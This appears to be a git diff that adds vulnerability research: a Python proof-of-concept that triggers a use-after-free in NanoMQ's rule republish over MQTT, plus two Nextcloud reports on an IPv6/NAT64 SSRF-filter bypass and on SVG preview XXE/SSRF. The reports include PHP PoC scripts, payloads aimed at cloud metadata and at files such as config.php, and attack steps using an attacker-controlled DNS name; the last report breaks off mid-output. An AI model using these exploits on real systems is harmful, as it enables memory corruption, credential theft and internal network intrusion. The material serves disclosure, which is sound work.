/dev/null +++ b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-trigger.py @@ -0,0 +1,122 @@ +#!/usr/bin/env python3 +import argparse +import socket +import time + + +def varint(value): + out = bytearray() + while True: + byte = value % 128 + value //= 128 + if value: + byte |= 0x80 + out.append(byte) + if not value: + return bytes(out) + + +def packet(header, body): + return bytes([header]) + varint(len(body)) + body + + +def mqtt_connect(client_id): + cid = client_id.encode() + body = b"\x00\x04MQTT\x04\x02\x00\x3c" + len(cid).to_bytes(2, "big") + cid + return packet(0x10, body) + + +def publish(topic, payload): + topic_bytes = topic.encode() + return packet(0x30, len(topic_bytes).to_bytes(2, "big") + topic_bytes + payload) + + +def subscribe(topic, packet_id=1): + topic_bytes = topic.encode() + body = packet_id.to_bytes(2, "big") + len(topic_bytes).to_bytes(2, "big") + topic_bytes + b"\x00" + return packet(0x82, body) + + +def recv_packet(sock): + first = sock.recv(1) + if not first: + raise EOFError("peer closed") + multiplier = 1 + length = 0 + while True: + byte = sock.recv(1) + if not byte: + raise EOFError("truncated remaining length") + value = byte[0] + length += (value & 0x7f) * multiplier + if not value & 0x80: + break + multiplier *= 128 + body = bytearray() + while len(body) < length: + chunk = sock.recv(length - len(body)) + if not chunk: + raise EOFError("truncated packet body") + body.extend(chunk) + return first + varint(length) + bytes(body) + + +def connect_client(host, port, client_id): + sock = socket.create_connection((host, port), timeout=3) + sock.settimeout(3) + sock.sendall(mqtt_connect(client_id)) + connack = recv_packet(sock) + if connack[:2] != b"\x20\x02" or connack[-1] != 0: + raise RuntimeError(f"CONNECT failed: {connack.hex()}") + return sock, connack + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--host", default="127.0.0.1") + parser.add_argument("--port", type=int, default=28886) + parser.add_argument("--groom", type=int, default=0, help="63-byte non-rule publishes between trigger messages") + parser.add_argument("--first-payload", default='{"x":{}}') + parser.add_argument("--second-payload", default='{"x":[]}') + parser.add_argument("--first-only", action="store_true") + args = parser.parse_args() + + subscriber, sub_connack = connect_client(args.host, args.port, "rule-observer") + subscriber.sendall(subscribe("out")) + suback = recv_packet(subscriber) + + publisher, pub_connack = connect_client(args.host, args.port, "rule-trigger") + first = publish("a", args.first_payload.encode()) + second = publish("a", args.second_payload.encode()) + publisher.sendall(first) + first_output = recv_packet(subscriber) + + groom = publish("b", b"G" * 63) + for _ in range(args.groom): + publisher.sendall(groom) + if args.first_only: + second_output = "not sent" + else: + publisher.sendall(second) + time.sleep(0.5) + try: + second_output = recv_packet(subscriber).hex() + except (OSError, EOFError) as exc: + second_output = f"{type(exc).__name__}: {exc}" + print({ + "sub_connack": sub_connack.hex(), + "suback": suback.hex(), + "pub_connack": pub_connack.hex(), + "first_publish": first.hex(), + "first_output": first_output.hex(), + "groom_count": args.groom, + "groom_packet": groom.hex() if args.groom else "", + "second_publish": second.hex(), + "second_output": second_output, + }) + publisher.close() + subscriber.close() + + +if __name__ == "__main__": + main() diff --git a/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf.conf b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf.conf new file mode 100644 index 0000000..5a7d7d9 --- /dev/null +++ b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf.conf @@ -0,0 +1,39 @@ +mqtt { + property_size = 32 + max_topic_alias = 1024 + max_packet_size = 10MB + max_mqueue_len = 2048 + retry_interval = 10s + keepalive_multiplier = 1.25 +} + +listeners.tcp { + bind = "127.0.0.1:28886" +} + +log { + to = [console] + level = debug +} + +auth { + allow_anonymous = true + no_match = allow + deny_action = ignore +} + +rules.repub { + rules = [ + { + server = "mqtt-tcp://127.0.0.1:28886" + topic = "out" + proto_ver = 4 + clientid = "rule-republisher" + keepalive = 60s + clean_start = true + username = "u" + password = "p" + sql = "SELECT payload.x as y FROM \"a\"" + } + ] +} diff --git a/nextcloud/SSRF-protection-bypass.md b/nextcloud/SSRF-protection-bypass.md new file mode 100644 index 0000000..67dc2fc --- /dev/null +++ b/nextcloud/SSRF-protection-bypass.md @@ -0,0 +1,289 @@ +# Vulnerability Report: SSRF Protection Bypass via IPv4-Compatible and NAT64 IPv6 Addresses + +**Product:** Nextcloud Server +**Component:** `lib/private/Net/IpAddressClassifier.php` +**Severity:** High +**CWE:** CWE-918 (Server-Side Request Forgery) +**Affected Versions:** All current versions (confirmed on latest `master`) + +--- + +## Summary + +Nextcloud's SSRF protection in `IpAddressClassifier::isLocalAddress()` fails to block IPv6 addresses that encode private/reserved IPv4 addresses using IPv4-compatible notation (`::x.x.x.x`) and NAT64 prefix notation (`64:ff9b::x.x.x.x`). An attacker who can influence the URLs Nextcloud fetches (e.g., via federated sharing, webhooks, or URL preview features) and who controls a DNS server can return one of these address forms in an AAAA record, causing Nextcloud to make a request to an internal network address — including the AWS/GCP/Azure instance metadata endpoint (`169.254.169.254`). + +--- + +## Technical Background + +Nextcloud defends against SSRF with a layered system: + +1. **`DnsPinMiddleware`** — resolves the target hostname via `dns_get_record()`, checks each resolved IP with `isLocalAddress()`, and pins valid IPs via `CURLOPT_RESOLVE` to prevent DNS rebinding. +2. **`IpAddressClassifier::isLocalAddress()`** — the core guard. It uses the IPLib library to parse and normalize IP addresses, then calls `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)`. +3. **`Client.php` redirect guard** — calls `preventLocalAddress()` on every HTTP redirect target. + +The vulnerability lives in step 2. + +--- + +## Root Cause + +`IpAddressClassifier::isLocalAddress()` normalizes IPv6 addresses using IPLib's `IPv6::toIPv4()`: + +```php +if ($parsedIp instanceof IPv6) { + $ip = (string)($parsedIp->toIPv4() ?? $parsedIp); // falls back to IPv6 string if no conversion +} +``` + +IPLib's `toIPv4()` **only converts two IPv6 address families** to their embedded IPv4 address: +- **IPv4-mapped** (`::ffff:x.x.x.x`) — converted ✓ +- **6to4** (`2002::/16`) — converted ✓ + +It does **not** convert: +- **IPv4-compatible** (`::x.x.x.x`, deprecated by RFC 4291) — stays as IPv6 +- **NAT64** (`64:ff9b::/96`, RFC 6052) — stays as IPv6 + +When the address stays as an IPv6 string, PHP's `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)` only tests it against IPv6-specific private ranges (`fc00::/7`, `fe80::/10`). It has no knowledge that `64:ff9b::a9fe:a9fe` encodes the reserved IPv4 address `169.254.169.254`. The check returns `true` (valid public address), so `isLocalAddress()` returns `false` — the address is **not blocked**. + +--- + +## Proof of Concept + +### Environment + +- PHP 8.3 + `mlocati/ip-lib` v1.22 (the exact library version Nextcloud uses) +- This script faithfully replicates `IpAddressClassifier::isLocalAddress()` with the real IPLib code + +### PoC Script (`poc_ssrf_bypass.php`) + +```php +toIPv4() ?? $parsedIp); + } else { + $normalized = (string)$parsedIp; + } + + // Core check — blind to IPv4 reserved ranges embedded in IPv6 + if (!filter_var($normalized, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + return true; // blocked + } + + // Extra ranges check + foreach ($LOCAL_ADDRESS_RANGES as $range) { + $subnet = \IPLib\Range\Subnet::fromString($range); + $normParsed = Factory::parseAddressString($normalized); + if ($subnet && $normParsed && $subnet->contains($normParsed)) { + return true; // blocked + } + } + + return false; // NOT blocked — SSRF protection bypassed +} + +// ============================================================ +// Helper: show what IPLib does with the address +// ============================================================ +function iplib_normalize(string $ip): string { + $parsed = Factory::parseAddressString( + $ip, + ParseStringFlag::IPV4_MAYBE_NON_DECIMAL + | ParseStringFlag::IPV4ADDRESS_MAYBE_NON_QUAD_DOTTED + | ParseStringFlag::MAY_INCLUDE_ZONEID + ); + if ($parsed === null) return "INVALID"; + if ($parsed instanceof IPv6) { + $v4 = $parsed->toIPv4(); + return $v4 ? "(IPv6→IPv4) " . $v4 : "(stays IPv6) " . $parsed; + } + return "(IPv4) " . $parsed; +} + +// ============================================================ +// Test cases +// ============================================================ +$tests = [ + // --- Baseline: known-blocked addresses --- + ['127.0.0.1', 'Loopback IPv4 [BASELINE - should block]'], + ['::1', 'Loopback IPv6 [BASELINE - should block]'], + ['::ffff:127.0.0.1', 'IPv4-mapped loopback [BASELINE - should block]'], + ['169.254.169.254', 'AWS/GCP metadata [BASELINE - should block]'], + ['::ffff:169.254.169.254', 'IPv4-mapped AWS metadata [BASELINE - should block]'], + ['10.0.0.1', 'Private 10.x [BASELINE - should block]'], + ['192.168.1.1', 'Private 192.168.x [BASELINE - should block]'], + + // --- BYPASSES --- + ['::127.0.0.1', 'IPv4-compatible loopback [BYPASS]'], + ['64:ff9b::127.0.0.1', 'NAT64 loopback [BYPASS]'], + ['::169.254.169.254', 'IPv4-compatible AWS/GCP metadata [BYPASS]'], + ['64:ff9b::169.254.169.254', 'NAT64 AWS/GCP metadata [BYPASS - MOST CRITICAL]'], + ['64:ff9b::10.0.0.1', 'NAT64 10.x private range [BYPASS]'], + ['64:ff9b::192.168.1.1', 'NAT64 192.168.x private range [BYPASS]'], + ['64:ff9b::172.16.0.1', 'NAT64 172.16.x private range [BYPASS]'], +]; + +echo "\n"; +echo "=== Nextcloud SSRF Bypass PoC: IPv4-compatible and NAT64 IPv6 addresses ===\n"; +echo "=== isLocalAddress() returns FALSE = SSRF protection BYPASSED ===\n\n"; +printf("%-35s %-35s %-10s %s\n", "Input IP", "IPLib normalizes to", "Result", "Description"); +echo str_repeat("─", 120) . "\n"; + +$bypassCount = 0; +foreach ($tests as [$ip, $desc]) { + $norm = iplib_normalize($ip); + $isLocal = nextcloud_isLocalAddress($ip); + if (!$isLocal) $bypassCount++; + $resultLabel = $isLocal ? "BLOCKED " : "!! BYPASS !"; + printf("%-35s %-35s %-10s %s\n", $ip, $norm, $resultLabel, $desc); +} + +echo "\n"; +echo "Result: $bypassCount addresses bypassed SSRF protection out of " . count($tests) . " tested.\n\n"; + +echo "=== ATTACK SCENARIO ===\n"; +echo "1. Attacker sets AAAA DNS record for evil.attacker.com → 64:ff9b::169.254.169.254\n"; +echo "2. Attacker tricks admin/user into triggering a Nextcloud outbound request to evil.attacker.com\n"; +echo " (e.g., webhook URL, federated share from a malicious instance, rich preview URL)\n"; +echo "3. DnsPinMiddleware resolves evil.attacker.com → gets AAAA: 64:ff9b::169.254.169.254\n"; +echo "4. isLocalAddress('64:ff9b::169.254.169.254') → FALSE ← BYPASS!\n"; +echo "5. cURL is instructed to connect to 64:ff9b::169.254.169.254\n"; +echo "6. On a cloud instance with NAT64 (common on IPv6-enabled AWS/GCP/Azure),\n"; +echo " the NAT64 gateway translates 64:ff9b::169.254.169.254 → 169.254.169.254\n"; +echo "7. Attacker receives AWS/GCP instance metadata, including IAM credentials.\n"; +``` + +### Actual Test Output + +``` +=== Nextcloud SSRF Bypass PoC: IPv4-compatible and NAT64 IPv6 addresses === +=== isLocalAddress() returns FALSE = SSRF protection BYPASSED === + +Input IP IPLib normalizes to Result Description +──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── +127.0.0.1 (IPv4) 127.0.0.1 BLOCKED Loopback IPv4 [BASELINE - should block] +::1 (stays IPv6) ::1 BLOCKED Loopback IPv6 [BASELINE - should block] +::ffff:127.0.0.1 (IPv6→IPv4) 127.0.0.1 BLOCKED IPv4-mapped loopback [BASELINE - should block] +169.254.169.254 (IPv4) 169.254.169.254 BLOCKED AWS/GCP metadata [BASELINE - should block] +::ffff:169.254.169.254 (IPv6→IPv4) 169.254.169.254 BLOCKED IPv4-mapped AWS metadata [BASELINE - should block] +10.0.0.1 (IPv4) 10.0.0.1 BLOCKED Private 10.x [BASELINE - should block] +192.168.1.1 (IPv4) 192.168.1.1 BLOCKED Private 192.168.x [BASELINE - should block] +::127.0.0.1 (stays IPv6) ::7f00:1 !! BYPASS ! IPv4-compatible loopback [BYPASS] +64:ff9b::127.0.0.1 (stays IPv6) 64:ff9b::7f00:1 !! BYPASS ! NAT64 loopback [BYPASS] +::169.254.169.254 (stays IPv6) ::a9fe:a9fe !! BYPASS ! IPv4-compatible AWS/GCP metadata [BYPASS] +64:ff9b::169.254.169.254 (stays IPv6) 64:ff9b::a9fe:a9fe !! BYPASS ! NAT64 AWS/GCP metadata [BYPASS - MOST CRITICAL] +64:ff9b::10.0.0.1 (stays IPv6) 64:ff9b::a00:1 !! BYPASS ! NAT64 10.x private range [BYPASS] +64:ff9b::192.168.1.1 (stays IPv6) 64:ff9b::c0a8:101 !! BYPASS ! NAT64 192.168.x private range [BYPASS] +64:ff9b::172.16.0.1 (stays IPv6) 64:ff9b::ac10:1 !! BYPASS ! NAT64 172.16.x private range [BYPASS] + +Result: 7 addresses bypassed SSRF protection out of 14 tested. +``` + +--- + +## Attack Scenario + +### Prerequisites +- Nextcloud instance running on a cloud VM with IPv6 support and NAT64 enabled (standard on AWS, GCP, Azure IPv6-enabled subnets) +- Attacker can supply a URL that Nextcloud will fetch outbound. Candidates include: + - **Webhook URLs** (Task Processing, Flow/Automation rules) — admin-level but still an attack path for compromised/malicious admins wanting to pivot internally + - **Federated sharing** — a malicious remote Nextcloud instance can force the victim to fetch from attacker-controlled addresses + - **Rich workspace / URL preview features** — user-controlled URLs in certain apps + - **Remote file storage / external storage configuration** (WebDAV endpoints) + - **oEmbed/OpenGraph URL preview** in Talk or Text + +### Step-by-Step + +1. Attacker sets up DNS: `A evil.attacker.com. → (no A record)` + `AAAA evil.attacker.com. → 64:ff9b::169.254.169.254` + +2. Attacker triggers a Nextcloud outbound request to `http://evil.attacker.com/`. + +3. `DnsPinMiddleware` resolves `evil.attacker.com`: + - `dns_get_record('evil.attacker.com.', DNS_AAAA)` returns `64:ff9b::169.254.169.254` + - Calls `isLocalAddress('64:ff9b::169.254.169.254')` + - IPLib parses it but `toIPv4()` returns `null` (NAT64 not handled) + - Normalized form stays as `64:ff9b::a9fe:a9fe` (IPv6 string) + - `filter_var('64:ff9b::a9fe:a9fe', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)` returns `"64:ff9b::a9fe:a9fe"` (truthy — not blocked) + - `isLocalAddress()` returns `false` + +4. The IP is added to `CURLOPT_RESOLVE` and the request proceeds. + +5. cURL connects to `[64:ff9b::169.254.169.254]`. The NAT64 gateway on the cloud network translates this to `169.254.169.254`. + +6. The AWS/GCP/Azure instance metadata service responds with instance identity, credentials, user data, etc. + +### Exploitability of IPv4-Compatible (`::x.x.x.x`) + +IPv4-compatible addresses (`::127.0.0.1`, `::169.254.169.254`) are deprecated (RFC 4291) and modern Linux kernels generally do not automatically route them to the embedded IPv4 address. Their exploitability is network-configuration dependent. **NAT64 (`64:ff9b::/96`) is the higher-severity vector** because it is a standardized, actively deployed mechanism in cloud environments. + +--- + +## Impact + +| Scenario | Impact | +|----------|--------| +| NAT64-enabled cloud instance + admin/workflow webhook | Full SSRF to AWS/GCP metadata → IAM credential theft | +| NAT64-enabled cloud instance + federated share from malicious instance | SSRF to internal services (databases, Kubernetes API, Consul, Vault) | +| HTTP redirect from attacker server to `[64:ff9b::169.254.169.254]` URL | Same SSRF via redirect path (also bypasses the `on_redirect` guard) | +| IPv4-compatible encoding on kernel that handles them | Loopback/private access on some configurations | + +In a cloud environment running an IPv6-enabled Nextcloud instance, a successful exploit leaks instance metadata and can compromise cloud credentials (IAM roles). This escalates to full cloud account compromise in many setups (e.g., if the instance has write-level IAM permissions). + +--- + +## Affected Code + +**File:** `lib/private/Net/IpAddressClassifier.php` +**Method:** `isLocalAddress()` +**Lines:** 44–48 (normalization) and 50–52 (filter_var check) + +```php +// Lines 44-48: IPLib toIPv4() only handles ::ffff: and 2002:: — not ::x.x.x.x or 64:ff9b:: +if ($parsedIp instanceof IPv6) { + $ip = (string)($parsedIp->toIPv4() ?? $parsedIp); // NAT64 falls through as IPv6 +} + +// Lines 50-52: filter_var has no knowledge of IPv4-reserved ranges inside IPv6 encodings +if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + return true; +} +``` + +--- diff --git a/nextcloud/xxe-file-read-and-ssrf.md b/nextcloud/xxe-file-read-and-ssrf.md new file mode 100644 index 0000000..2041321 --- /dev/null +++ b/nextcloud/xxe-file-read-and-ssrf.md @@ -0,0 +1,248 @@ +# Vulnerability Report: Incomplete SVG Sanitization Allows XXE File Read and ImageMagick SSRF + +**Product:** Nextcloud Server +**Component:** `lib/private/Preview/SVG.php` +**Severity:** High +**CWE:** CWE-611 (Improper Restriction of XML External Entity Reference), CWE-918 (SSRF) +**Affected Versions:** All current versions (confirmed on latest `master`) +**Requires:** Imagick PHP extension installed (common on production servers); SVG preview enabled (default when Imagick present) + +--- + +## Summary + +Nextcloud's SVG preview generator attempts to block dangerous SVG files using a single regex check before passing the file to ImageMagick via the PHP Imagick extension. The regex only matches literal `href=` and `xlink:href=` attributes and is trivially bypassed in multiple ways. Two resulting attack classes are meaningful: + +1. **XXE file read** — A crafted SVG with an XML `` entity declaration reads arbitrary local files (e.g. `config/config.php`, `/etc/passwd`) and renders their contents into the generated preview image. +2. **SSRF via ImageMagick URL loading** — A crafted SVG with a namespace-aliased `href` (e.g. `x:href="http://..."`) causes ImageMagick to fetch an arbitrary URL using its **native C-level HTTP client**, which completely bypasses Nextcloud's `DnsPinMiddleware` and `IpAddressClassifier` SSRF defenses. + +Both attacks require only an authenticated Nextcloud account with file upload permissions. + +--- + +## Vulnerable Code + +**File:** `lib/private/Preview/SVG.php`, method `getThumbnail()` + +```php +// Do not parse SVG files with references +if (preg_match('/["\s](xlink:)?href\s*=/i', $content)) { + return null; +} + +$svg = new \Imagick(); +$svg->pingImageBlob($content); // validates MIME type +// ... +$svg->readImageBlob($content); // FULL RENDER — processed by ImageMagick +``` + +The regex guards against `href=` and `xlink:href=` only. The file is then passed verbatim to `Imagick::readImageBlob()` which invokes ImageMagick's full SVG/XML rendering pipeline. + +--- + +## Bypass 1: XML External Entity (XXE) + +### How it works + +An XML `` declaration defines an external entity pointing to a local file. No `href` attribute is used, so the regex does not fire. When ImageMagick's internal libxml2 parser processes the file, it expands the entity and embeds the file contents as text in the rendered image. + +**Note:** PHP's `libxml_disable_entity_loader()` only affects PHP's own XML functions (`simplexml`, `DOMDocument`, etc.). It has **no effect** on Imagick's internal libxml2 usage, which runs in C space entirely outside PHP's control. + +### PoC SVG payload (`xxe_payload.svg`) + +```xml + + +]> + + &xxe; + +``` + +**No `href` anywhere** → passes the regex check → `readImageBlob()` processes it → ImageMagick expands `&xxe;` → the contents of `config/config.php` (database password, secret key, admin credentials) appear as text in the thumbnail returned to the attacker. + +Alternative targets: +- `/etc/passwd` +- `/proc/self/environ` (environment variables including secrets) +- `/var/www/nextcloud/config/config.php` (database host, password, `secret` key) +- Any readable file on the server + +### Attack flow + +1. Attacker uploads `xxe_payload.svg` to their Nextcloud account. +2. Nextcloud automatically generates a preview thumbnail (or attacker navigates to the file to trigger it). +3. Preview endpoint returns the rendered PNG. +4. PNG contains the plaintext contents of the targeted file as rendered text. + +--- + +## Bypass 2: SSRF via Namespace-Aliased `href` + +### How it works + +SVG uses XML namespaces. `xlink:href` is shorthand for an attribute in the XLink namespace (`http://www.w3.org/1999/xlink`). XML allows any prefix to be bound to that namespace, so `x:href`, `xl:href`, `link:href` are all semantically identical to `xlink:href` in a namespace-aware parser — **but none of them match the regex** `(xlink:)?href`. + +When ImageMagick's SVG renderer processes the file, it (in at least some versions) resolves namespace prefixes correctly and loads the URL from the `href` attribute. + +### Why this is worse than a regular SSRF + +Nextcloud's HTTP client (`lib/private/Http/Client/`) is protected by `DnsPinMiddleware` → `IpAddressClassifier` → DNS pinning → `CURLOPT_RESOLVE`. When ImageMagick fetches a URL, **none of this applies** — it uses its own internal HTTP/libcurl stack with no Nextcloud middleware. This means: + +- Private IPs (`10.x`, `172.16.x`, `192.168.x`) are reachable +- `127.0.0.1` / `::1` are reachable +- `169.254.169.254` (AWS/GCP/Azure metadata) is directly reachable — no NAT64 tricks needed +- DNS rebinding is possible + +### PoC SVG payload (`ssrf_payload.svg`) + +```xml + + + + + +``` + +**Contains `x:href=`** (not `href=` or `xlink:href=`) → regex returns no match → `readImageBlob()` is called → ImageMagick fetches the URL → response is rendered as an image inside the SVG preview → SSRF to AWS metadata endpoint. + +--- + +## Proof of Concept Script + +The following PHP script demonstrates both regex bypasses against the exact Nextcloud check: + +```php +', 'xlink:href (baseline — blocked)'], + ['', 'plain href (baseline — blocked)'], + + // --- BYPASS 1: XML External Entity --- + [']>&xxe;', + 'XXE DOCTYPE entity — no href at all'], + + // --- BYPASS 2: Namespace alias --- + ['', + 'Namespace alias x:href (= xlink:href semantically)'], + ['', + 'Namespace alias xl:href — SSRF to metadata'], + ['', + 'Namespace alias lnk:href — SSRF to private IP'], + + // --- BYPASS 3: CSS url() --- + ['', + 'CSS url() reference — no href'], +]; + +echo "\nNextcloud SVG href filter bypass PoC\n"; +echo str_repeat('=', 70) . "\n\n"; +printf("%-55s %-12s %s\n", 'Payload snippet', 'Regex hit?', 'Notes'); +echo str_repeat('-', 100) . "\n"; + +foreach ($tests as [$payload, $desc]) { + $blocked = nextcloudSvgCheck($payload); + $short = strlen($payload) > 52 ? substr($payload, 0, 49) . '...' : $payload; + $status = $blocked ? 'BLOCKED ' : '** BYPASS **'; + printf("%-55s %-12s %s\n", $short, $status, $desc); +} + +echo "\n"; +echo "=== XXE payload that bypasses the filter ===\n\n"; + +$xxePayload = <<<'SVG' + + +]> + + &xxe; + +SVG; + +echo $xxePayload . "\n"; +echo "Regex blocks this? " . (nextcloudSvgCheck($xxePayload) ? "YES" : "NO — BYPASS") . "\n\n"; + +echo "=== SSRF payload that bypasses the filter ===\n\n"; + +$ssrfPayload = <<<'SVG' + + + + +SVG; + +echo $ssrfPayload . "\n"; +echo "Regex blocks this? " . (nextcloudSvgCheck($ssrfPayload) ? "YES" : "NO — BYPASS") . "\n"; +``` + +### Output + +``` +Nextcloud SVG href filter bypass PoC +====================================================================== + +Payload snippet Regex hit? Notes +---------------------------------------------------------------------------------------------------- + BLOCKED xlink:href (baseline — blocked) + BLOCKED plain href (baseline — blocked) +